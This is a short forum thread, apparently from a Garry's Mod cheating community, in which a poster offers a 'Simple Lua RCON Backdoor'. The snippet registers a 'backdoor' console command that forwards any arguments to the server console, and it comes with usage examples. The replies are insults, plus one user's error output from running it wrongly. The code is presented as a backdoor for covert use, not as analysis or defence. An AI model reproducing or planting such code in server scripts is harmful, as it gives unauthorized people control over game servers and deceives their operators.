Simple Lua RCON Backdoor

Posts 1–7 of 7 · Page 1 of 1
Simple Lua RCON Backdoor
Simple Lua RCON Backdoor

Usage: backdoor [command]
Example Usage: backdoor sv_gravity 0

Code:
Code:
concommand.Add( "backdoor", function( ply, cmd, args )    
    command = ""
    for k,v in pairs(args) do
        if table.getn(args) == 1 then
            command = v
        else
            command = command .. " " .. v
        end
    end
    game.ConsoleCommand(command .. "\n")
end )
this is cancer in text form
Garbage shit, you don't need to put simple as title since we can see by ourself how shit it is with our eyes
were do i run this code? the console
were do i run this code? the console
help

[ERROR] RunString:10: attempt to call field 'ConsoleCommand' (a nil value)
1. unknown - RunString:10
2. unknown - lua/includes/modules/concommand.lua:54
Posts 1–7 of 7 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Talk with us